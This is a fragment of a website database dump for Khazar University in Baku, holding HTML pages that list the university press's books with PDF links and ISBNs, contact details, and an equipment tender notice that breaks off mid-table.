style=\"width:100%;height:1px\"><h3><strong>Poetry</strong></h3><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\" style=\"color:#3a3b3b;outline:none;text-decoration:none;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media879820260732568\" width=\"150\" height=\"100\"><img src=\"/files/image/Sevgi_poeziyasi.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></a></p><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\"><strong>Azərbaycan sevgi poeziyası: birinci kitab</strong></a>&nbsp;(PDF), 2008</p><p>ISBN 978-9952-20-045-4&nbsp;</p>  <p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1461\" style=\"color:#3a3b3b;outline:none;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media3236971875518435\" width=\"150\" height=\"100\"><img src=\"/files/image/Optimized-Bu_da_bir_heyatdi.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></a></p><p><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1461\"><strong>Bu&nbsp;da&nbsp;bir&nbsp;həyatdı</strong></a>&nbsp;(PDF), 2004</p><p>Hamlet Isakhanli  </p><p>ISBN 9952-20-018-8</p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1488/1/Tezadlar2%20%20version.pdf\" <img=\"\" src=\" http:=\" \"=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media6378413276275996\" width=\"150\" height=\"100\"><img src=\"/files/founder/T%C9%99zadlar.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></a></p><p><strong><a href=\"http://www.khazar.org/files/image/Tezadlar2%20%20version.pdf\" <img=\"\" src=\" http:=\" \"=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media45508449861437605\" width=\"150\" height=\"100\">Təzadlar</a>&nbsp;<a href=\"http://www.khazar.org/files/image/Tezadlar2%20%20version.pdf\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media45508449861437605\" width=\"150\" height=\"100\"></a></strong>(PDF), 2001</p><p>Hamlet Isakhanli<br></p><p>ISBN 9952-20-002-1</p>  <p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1490/1/ziyaret%20dezen%20son.pdf\" style=\"color:#3a3b3b;outline:none;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media8305779162681242\" width=\"150\" height=\"100\"><img src=\"/files/image/Ziyaret.jpg\" style=\"width:150px;height:238px;margin:7px;float:left\"></a></p><p<a href=\"http://www.khazar.org/files/image/ziyaret%20dezen%20son.pdf\"><p><strong><a href=\"http://www.khazar.org/files/image/ziyaret%20dezen%20son.pdf\"> Ziyarət</a>&nbsp;</strong>(PDF), 2010</p><p>Hamlet Isakhanli</p><p>ISBN 978-9952-20-049-2</p></p<a>'),(1134,702,'az','Xəzər Universiteti Nəşriyyatı','Xəzər Universiteti Nəşriyyatı','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fəаliyyətdə оlduğu dövrdən Xəzər Univеrsitəsində Nəşriyyаt (Kha­zar University Press) fəаliyyət göstərir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Universitəsi Nəşriyyatı - univesitetin kitab, jurnal və digər çap məhsullarını, eləcə də kənardan müraciətləri dəyərləndirən və nəşrə hazırlayan bir qurumdur. &nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Nəşriyyatın fəaliyyət dairəsinə dərslik, monoqrafiya, konfrans materialları, elmi-tədqiqat jurnalları, tərcümə layihələri (ingilis və başqa dillərdən Azərbaycan dilinə və həmçinin, Azərbaycan və rus dillərindən ingilis və başqa dillərə tərcümə olunmuş kitab və məqalələr), eləcə də bədii ədəbiyyat nəşri daxildir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Universitəsi Nəşriyyatı öz məhsulları və fəaliyyəti ilə beynəlxalq aləmdə də tanınır, onun nəşrləri və əməkdaşları bir sıra ölkələrdə sərgi, yarmarka, treyninq və digər program və tədbirlərdə iştirak edirlər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Universitəsi Nəşriyyatı Azərbaycan ISBN agentliyi və Azərbaycan ISMN agentliyi - beynəlxalq kitab və musiqi əsərlərinin standartlaşdırılması Milli Agentliyi kimi də fəaliyyət göstərir.<a href=\"http://www.ismninternational.org/agencies/azerbaijan.html\">http://www.ismninternational.org/agencies/azerbaijan.html</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Əlaqə:</strong></p><hr><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Ünvan:&nbsp;&nbsp;&nbsp;&nbsp; AZ1096 Bakı, Məhsəti küçəsi 11, Xəzər Universitəsi</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Telefon:&nbsp;&nbsp; (+994 12) 4217916 (kommutator)</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(+994 50) 3554806 (mobil)</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Faks:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (+994 12) 498 93 79</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:zyusifoglu@khazar.org\" target=\"_blank\">zyusifoglu@khazar.org</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/image/jurnal%201.JPG\" style=\"width:150px;height:214px;margin:7px;float:left\"><img src=\"/files/image/jur%202.JPG\" style=\"width:150px;height:214px;margin:7px;float:left\"><img src=\"/files/image/jur3.JPG\" style=\"width:150px;height:217px;margin:7px;float:left\"><img src=\"/files/image/13_01_25_son3.jpg\" style=\"width:150px;height:211px;margin:7px;float:left\"><br></p>  <br></div>'),(1132,701,'az','Kitablar','Kitablar','<p>Fəаliyyətdə оlduğu dövrdən Xəzər Univеrsitetində Nəşriyyаt (Kha­zar University Press) fəаliyyət göstərir. Nəşriyyatın fəaliyyət dairəsinə dərslik, monoqrafiya, konfrans materialları, elmi-tədqiqat jurnalları, tərcümə layihələri (ingilis və başqa dillərdən Azərbaycan dilinə və həmçinin, Azərbaycan və rus dillərindən ingilis və başqa dillərə tərcümə olunmuş kitab və məqalələr), eləcə də bədii ədəbiyyat nəşri daxildir.</p><p>Xəzər Universiteti Nəşriyyatı öz məhsulları və fəaliyyəti ilə beynəlxalq aləmdə də tanınır, onun nəşrləri və əməkdaşları bir sıra ölkələrdə sərgi, yarmarka, treyninq və digər proqram və tədbirlərdə iştirak edirlər.</p><p><br></p><h3><strong>Əlaqə:</strong></h3><p><strong>Ünvan:</strong>&nbsp;&nbsp;&nbsp;&nbsp;AZ1096 Bakı, Məhsəti küçəsi 11, Xəzər Universiteti</p><p><strong>Telefon:</strong>&nbsp;&nbsp; (+994 12) 4217916 (kommutator)</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (+994 50) 3554806 (mobil)</p><p><strong>Faks:</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (+994 12) 498 93 79</p><p><strong>E-mail:</strong>&nbsp; &nbsp;&nbsp;<a href=\"mailto:zyusifoglu@khazar.org\" target=\"_blank\">zyusifoglu[at]khazar.org</a></p><p><br></p><p>Nəşriyyatda çoxsaylı kitablar işıq üzü görmüşdür. Burada nəşr olunmuş kitablardan bir çoxunu elektron formatda oxumaq olar. Aşağıda Xəzər universiteti nəşriyyatında buraxılmış və elektron formatda oxunması mümkün olan kitablardan nümunələr təqdim olunur.</p><p>Daha geniş məlumat üçün bax:&nbsp;<a href=\"http://library.khazar.org/s139/Khazar-University-e-Publications/en\">Kitablar</a></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3><strong>Biblioqrafiya</strong></h3> <img src=\"/files/image/Scholar_Founder_Poet.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\">&nbsp;<p><a href=\"http://www.khazar.org/files/image/Biblioqrafiya%20Hamlet%20edited%20by%20Martha.pdf\"><strong>Hamlet İsaxanlı: Biblioqrafiya. Alim, Qurucu, Şair</strong></a>&nbsp;(PDF), 2010</p><p>ISBN 978-9952-20-048-5</p><p><br></p><p><br></p>\r\n<p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><img src=\"http://www.khazar.org/files/image/16_02_18_Capture.JPG\" style=\"width:150px;height:200px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/pdf/simp%201-ci%20cild.pdf\">21-ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun</a>&nbsp;</strong>(PDF), 2014&nbsp;</p><p>ISBN 978-9952-20-107-9</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/image/16_02_18_Capture.JPG\" style=\"width:150px;height:200px;margin:7px;float:left\"></p><p><strong><a href=\"http://www.khazar.org/files/pdf/simp%20ii%20cild2.yeni.pdf\">21-ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumu</a>&nbsp;<a href=\"http://www.khazar.org/files/pdf/simp%20ii%20cild2.yeni.pdf\"></a></strong>(PDF), 2014&nbsp;</p><p>ISBN 978-9952-20-108-6</p><p><br></p><p><br></p><p><br></p><p><br></p><br><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/image/Bahlul_Abdulla.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></p><p><a href=\"http://www.khazar.org/files/image/Bahlul%20kitab.pdf\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media8208945394265195\" width=\"150\" height=\"100\"><strong>Bəhlul Abdulla-Sevgi dolu alim və pedaqoq</strong></a>&nbsp;(PDF), 2010&nbsp;</p><p>ISBN 987-9952-20-058-4</p>  <p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3><br></h3><h3>İqtisadiyyat, biznes və menecment</h3><p><br></p><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1537/1/Dictionary_PM.pdf\"><img src=\"http://www.khazar.org/files/image/Project%20Management%20Dictionary.jpg\" style=\"border:0px  #0000ee;width:150px;height:200px;margin:7px;float:left\"></a></p><p><a href=\"http://www.khazar.org/files/image/english%20m.nuriyev.pdf\"><strong>English-Azerbaijani&nbsp; Azerbaijani-English Concise Dictionary of Project Management Terms</strong></a>&nbsp;(PDF), 2012</p><p>M.N. Nuriyev</p><p>ISBN 978-9952-20-070-6&nbsp;<br></p><p><br></p><p><br></p>  <p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3>Təhsil</h3><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1001/1/on%20education%20system_Isaxanli.pdf\"><img src=\"/files/image/On_education_system.jpg\" style=\"width:150px;height:214px;margin:7px;float:left\"></a><a href=\"http://www.khazar.org/files/image/on%20education%20system_Isaxanli.pdf\"><strong>On education system in transition economy: A view from Azerbaijan</strong></a>&nbsp;(PDF), 2006</p><p>Hamlet Isakhanli</p><p>ISBN 978-9952-20-037-9</p><p>This collection of works examines the past and present of Azerbaijani Education System&nbsp;</p><p>and offers new perspectives on the development and modernization of education policy.  <br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3><strong>Tarix</strong></h3><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1200/1/Mamed%20Amin%20Rasulzade%20234.pdf\"><img src=\"/files/image/Mehemmed_Emin.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></a></p><p><a href=\"http://www.khazar.org/files/image/Mamed%20Amin%20Rasulzade%20234.pdf\"><strong>Məhəmməd Əmin Rəsulzadə və ictimai-siyasi ideallar</strong></a>&nbsp;(PDF), 2005</p><p>ISBN 9952-20-028-5  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3><strong>Poeziya</strong></h3><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\" style=\"color:#3a3b3b;outline:none;text-decoration:none;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media879820260732568\" width=\"150\" height=\"100\"><img src=\"/files/image/Sevgi_poeziyasi.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></a></p><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\"><strong>Azərbaycan sevgi poeziyası: birinci kitab</strong></a>&nbsp;(PDF), 2008</p><p>ISBN 978-9952-20-045-4&nbsp;</p>  <p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1461\" style=\"color:#3a3b3b;outline:none;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media3236971875518435\" width=\"150\" height=\"100\"><img src=\"/files/image/Optimized-Bu_da_bir_heyatdi.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></a></p><p><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1461\"><strong>Bu&nbsp;da&nbsp;bir&nbsp;həyatdı</strong></a>&nbsp;(PDF), 2004</p><p>Hamlet İsaxanlı</p><p>ISBN 9952-20-018-8</p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1488/1/Tezadlar2%20%20version.pdf\" <img=\"\" src=\" http:=\" \"=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media6378413276275996\" width=\"150\" height=\"100\"><img src=\"/files/founder/T%C9%99zadlar.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></a></p><p><strong><a href=\"http://www.khazar.org/files/image/Tezadlar2%20%20version.pdf\" <img=\"\" src=\" http:=\" \"=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media45508449861437605\" width=\"150\" height=\"100\">Təzadlar</a>&nbsp;<a href=\"http://www.khazar.org/files/image/Tezadlar2%20%20version.pdf\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media45508449861437605\" width=\"150\" height=\"100\"></a></strong>(PDF), 2001</p><p>Hamlet İsaxanlı<br></p><p>ISBN 9952-20-002-1</p>  <p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1490/1/ziyaret%20dezen%20son.pdf\" style=\"color:#3a3b3b;outline:none;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media8305779162681242\" width=\"150\" height=\"100\"><img src=\"/files/image/Ziyaret.jpg\" style=\"width:150px;height:238px;margin:7px;float:left\"></a></p><p<a href=\"http://www.khazar.org/files/image/ziyaret%20dezen%20son.pdf\"><p><strong><a href=\"http://www.khazar.org/files/image/ziyaret%20dezen%20son.pdf\"> Ziyarət</a>&nbsp;</strong>(PDF), 2010</p><p>Hamlet İsaxanlı</p><p>ISBN 978-9952-20-049-2</p></p<a>'),(4600,2728,'en','Contact Us','Contact Us','<p><strong>Phone:&nbsp;</strong>(+994&nbsp;12) 421 10 93</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; (+994&nbsp;12) 421 79 16</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(+994&nbsp;12) 421 63 35</p>\r\n<p>&nbsp;<strong>Fax:&nbsp; &nbsp; </strong>(+994&nbsp;12) 498 93 79</p><p>&nbsp;<strong>E-mail:&nbsp;</strong><a href=\"mailto:contact@khazar.org\">contact@khazar.org</a></p><p><br></p><p>Khazar University (Neftchilar Campus)&nbsp;</p><p>41 Mahsati Str., AZ1096, Baku, Azerbaijan</p>\r\n<iframe width=\"600\" height=\"450\" frameborder=\"0\" style=\"border:0\" src=\"https://www.google.com/maps/embed/v1/place?key=AIzaSyD_gltx6VnkiMgmxdooZ0CcqyUejCpzIaw&amp;q=Khazar+University, Baku\">\r\n</iframe>'),(6019,3438,'en','Invitation to Tender','On behalf of Khazar University, Baku, Azerbaijan, we invite you to submit a tender in relation to provision...','<p>Dear Sir/Madam,</p>\r\n<p>On behalf of Khazar University, Baku, Azerbaijan, we invite you to submit a\r\ntender in relation to provision of equipment for establishment of Teaching and\r\nLearning Center within PETRA ERASMUS+ project.&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The vendor is required\r\nto provide the attached equipment.</p>\r\n<p>The tender shall be valid until at least 20<sup>th</sup> October, 2018, 1 month\r\nfrom the date of the tender.</p>\r\n<p>Any queries regarding this tender are to be referred to the\r\ncontact person Shahin Isayev - <a href=\"mailto:shisayev@khazar.org\">shisayev@khazar.org</a></p>\r\n<p>&nbsp;</p>\r\n<p style=\"text-align: left; padding-left: 240px;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;background:white\"\"=\"\"><strong>Equipment</strong></p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"36\">\r\n  <p><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"500\">\r\n  <p><strong>Name</strong></p>\r\n  </td>\r\n  <td width=\"102\">\r\n  <p><strong>Quantity</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p>1</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Desktop computers (HP Compaq 500B\r\n  WU202EA) </p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">5 </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Data/video projector</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">3</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">VHS player portable projection screen</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">4</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Cable TV connection</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">5</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Digital and video camera equipment</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1 </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">6</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">SMART Boards</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">2</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Wireless mice</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">8</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Printer/copier/scanner network</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" 